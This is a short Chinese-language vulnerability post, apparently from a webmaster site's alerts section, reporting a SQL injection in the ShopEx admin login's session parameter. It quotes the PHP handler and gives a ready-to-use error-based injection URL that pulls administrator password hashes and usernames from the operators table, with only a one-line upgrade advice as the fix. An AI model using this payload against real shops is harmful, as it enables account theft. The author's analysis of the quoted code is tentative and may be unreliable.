Shopex后台登录页面某参数存在注入及修复下载

对登录时传递的某参数未做过滤,导致注入的产生
最近做二次开发的时候看到了登录的流程
 
发现在文件\shopex\core\admin\controller\ctl.passport.php
 
处理了验证码,管理帐号和密码,但是在最底下发现一个sess_id
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function certi_validate(){
        $cert = $this->system->loadModel('service/certificate');
        $sess_id = $_POST['session_id'];
 
        $return = array();
        if($sess_id == $cert->get_sess()){
            $return = array(
                'res' => 'succ',
                'msg' => '',
                'info' => ''
            );
 
            echo json_encode($return);
        }else{
            $return = array(
                'res' => 'fail',
                'msg' => '000001',
                'info' => 'You have the different session!'
            );
 
            echo json_encode($return);
        }
    }
 

没做处理。直接导致sql注入产生。还在学php,分析错的地方请指正

http://fuck.0day5.com/shopadmin/index.php?ctl=passport&act=login&sess_id=1

http://fuck.0day5.com/shopadmin/index.php?ctl=passport&act=login&sess_id=1'+and(select+1+from(select+count(*),concat((select+(select+(select+concat(userpass,0x7e,username,0x7e,op_id)+from+sdb_operators+Order+by+username+limit+0,1)+)+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+'1'='1
 
顺带路径一起爆出来了
 
 

修复方案:

过滤,官方已经升级修复,请用户及时升级

当前位置:站长啦网站目录 » 站长资讯 » 站长新闻 » 漏洞预警 » 文章详细